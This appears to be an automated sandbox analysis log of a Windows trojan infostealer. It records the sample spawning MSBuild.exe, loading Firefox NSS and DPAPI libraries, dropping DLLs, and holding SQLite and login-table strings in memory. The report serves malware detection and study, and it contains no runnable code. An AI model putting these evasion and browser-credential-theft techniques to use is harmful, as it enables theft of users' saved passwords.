Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C3D76E3	1_2_6C3D76E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C3A7710	1_2_6C3A7710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C379F00	1_2_6C379F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C3B77A0	1_2_6C3B77A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C396FF0	1_2_6C396FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C36DFE0	1_2_6C36DFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C3AB820	1_2_6C3AB820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C3B4820	1_2_6C3B4820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C377810	1_2_6C377810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C3AF070	1_2_6C3AF070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C388850	1_2_6C388850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C38D850	1_2_6C38D850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C3960A0	1_2_6C3960A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C38C0E0	1_2_6C38C0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C3A58E0	1_2_6C3A58E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C3D50C7	1_2_6C3D50C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C3BB970	1_2_6C3BB970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C3DB170	1_2_6C3DB170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C37D960	1_2_6C37D960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C38A940	1_2_6C38A940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C39D9B0	1_2_6C39D9B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C36C9A0	1_2_6C36C9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C3A5190	1_2_6C3A5190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C3C2990	1_2_6C3C2990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C3A9A60	1_2_6C3A9A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C37CAB0	1_2_6C37CAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C3D2AB0	1_2_6C3D2AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C3622A0	1_2_6C3622A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C394AA0	1_2_6C394AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C3DBA90	1_2_6C3DBA90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C381AF0	1_2_6C381AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C3AE2F0	1_2_6C3AE2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C3A8AC0	1_2_6C3A8AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C3AD320	1_2_6C3AD320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C37C370	1_2_6C37C370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C365340	1_2_6C365340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C36F380	1_2_6C36F380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C3D53C8	1_2_6C3D53C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C41AC60	1_2_6C41AC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4D6C00	1_2_6C4D6C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4EAC30	1_2_6C4EAC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C40ECC0	1_2_6C40ECC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C46ECD0	1_2_6C46ECD0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 004047E8 appears 38 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6C3A94D0 appears 90 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 00410609 appears 71 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 004104E7 appears 38 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6C39CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00A878D0 appears 49 times

Source: file.exe

Static PE information: invalid certificate

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: .data ZLIB complexity 0.9919846754807692

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@4/26@1/1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_6C3C7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

1_2_6C3C7030

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_004114A5 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

1_2_004114A5

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00411807 __EH_prolog3_catch_GS,CoInitializeEx,CoInitializeSecurity,CoCreateInstance,CoSetProxyBlanket,VariantInit,FileTimeToSystemTime,GetProcessHeap,HeapAlloc,wsprintfA,VariantClear,

1_2_00411807

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\DY8JXL0W.htm

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File created: C:\Users\user\AppData\Local\Temp\delays.tmp

Jump to behavior

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: MSBuild.exe, 00000001.00000002.3049714080.000000002F99F000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: MSBuild.exe, 00000001.00000002.3039738568.000000001D7E8000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3064326708.000000006C59F000.00000002.00000001.01000000.00000007.sdmp, MSBuild.exe, 00000001.00000002.3055684780.000000003B879000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3035346412.0000000017877000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr, sql[1].dll.1.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: MSBuild.exe, 00000001.00000002.3049714080.000000002F99F000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: MSBuild.exe, 00000001.00000002.3039738568.000000001D7E8000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3064326708.000000006C59F000.00000002.00000001.01000000.00000007.sdmp, MSBuild.exe, 00000001.00000002.3055684780.000000003B879000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3035346412.0000000017877000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr, sql[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: MSBuild.exe, 00000001.00000002.3039738568.000000001D7E8000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3064326708.000000006C59F000.00000002.00000001.01000000.00000007.sdmp, MSBuild.exe, 00000001.00000002.3055684780.000000003B879000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3035346412.0000000017877000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr, sql[1].dll.1.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: MSBuild.exe, 00000001.00000002.3039738568.000000001D7E8000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3064326708.000000006C59F000.00000002.00000001.01000000.00000007.sdmp, MSBuild.exe, 00000001.00000002.3055684780.000000003B879000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3035346412.0000000017877000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr, sql[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: MSBuild.exe, 00000001.00000002.3049714080.000000002F99F000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: MSBuild.exe, 00000001.00000002.3039738568.000000001D7E8000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3035346412.0000000017877000.00000004.00000020.00020000.00000000.sdmp, sql[1].dll.1.dr	Binary or memory string: INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');
Source: MSBuild.exe, 00000001.00000002.3049714080.000000002F99F000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: MSBuild.exe, 00000001.00000002.3049714080.000000002F99F000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: MSBuild.exe, 00000001.00000002.3049714080.000000002F99F000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: MSBuild.exe, 00000001.00000002.3039738568.000000001D7E8000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3035346412.0000000017877000.00000004.00000020.00020000.00000000.sdmp, sql[1].dll.1.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %s.'rbu_tmp_%q' AS SELECT *%s FROM '%q' WHERE 0;
Source: MSBuild.exe, 00000001.00000002.3049714080.000000002F99F000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: MSBuild.exe, MSBuild.exe, 00000001.00000002.3039738568.000000001D7E8000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3064326708.000000006C59F000.00000002.00000001.01000000.00000007.sdmp, MSBuild.exe, 00000001.00000002.3055684780.000000003B879000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3035346412.0000000017877000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr, sql[1].dll.1.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: MSBuild.exe, 00000001.00000002.3039738568.000000001D7E8000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3064326708.000000006C59F000.00000002.00000001.01000000.00000007.sdmp, MSBuild.exe, 00000001.00000002.3055684780.000000003B879000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3035346412.0000000017877000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr, sql[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: MSBuild.exe, 00000001.00000002.3049714080.000000002F99F000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: MSBuild.exe, 00000001.00000002.3039738568.000000001D7E8000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3035346412.0000000017877000.00000004.00000020.00020000.00000000.sdmp, sql[1].dll.1.dr	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,nexec INT,ncycle INT,stmt HIDDEN);
Source: IJECBG.1.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: MSBuild.exe, 00000001.00000002.3039738568.000000001D7E8000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3035346412.0000000017877000.00000004.00000020.00020000.00000000.sdmp, sql[1].dll.1.dr	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: MSBuild.exe, 00000001.00000002.3049714080.000000002F99F000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: MSBuild.exe, 00000001.00000002.3039738568.000000001D7E8000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3035346412.0000000017877000.00000004.00000020.00020000.00000000.sdmp, sql[1].dll.1.dr	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: MSBuild.exe, 00000001.00000002.3049714080.000000002F99F000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

Virustotal: Detection: 41%

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.ui.immersive.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: bcp47mrm.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uianimation.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: textshaping.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: mozglue.pdbP source: MSBuild.exe, 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000001.00000002.3043392849.0000000023AB2000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: freebl3.pdb source: MSBuild.exe, 00000001.00000002.3040262866.000000001DB48000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: freebl3.pdbp source: MSBuild.exe, 00000001.00000002.3040262866.000000001DB48000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: nss3.pdb@ source: MSBuild.exe, 00000001.00000002.3064326708.000000006C59F000.00000002.00000001.01000000.00000007.sdmp, MSBuild.exe, 00000001.00000002.3055684780.000000003B879000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: softokn3.pdb@ source: MSBuild.exe, 00000001.00000002.3049714080.000000002F99F000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: MSBuild.exe, 00000001.00000002.3052771451.000000003590F000.00000004.00000020.00020000.00000000.sdmp, vcruntime140[1].dll.1.dr, vcruntime140.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: MSBuild.exe, 00000001.00000002.3046604600.0000000029A2B000.00000004.00000020.00020000.00000000.sdmp, msvcp140.dll.1.dr, msvcp140[1].dll.1.dr
Source:	Binary string: nss3.pdb source: MSBuild.exe, 00000001.00000002.3064326708.000000006C59F000.00000002.00000001.01000000.00000007.sdmp, MSBuild.exe, 00000001.00000002.3055684780.000000003B879000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: MSBuild.exe, 00000001.00000002.3039738568.000000001D7E8000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3035346412.0000000017877000.00000004.00000020.00020000.00000000.sdmp, sql[1].dll.1.dr
Source:	Binary string: mozglue.pdb source: MSBuild.exe, 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000001.00000002.3043392849.0000000023AB2000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: softokn3.pdb source: MSBuild.exe, 00000001.00000002.3049714080.000000002F99F000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr

Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
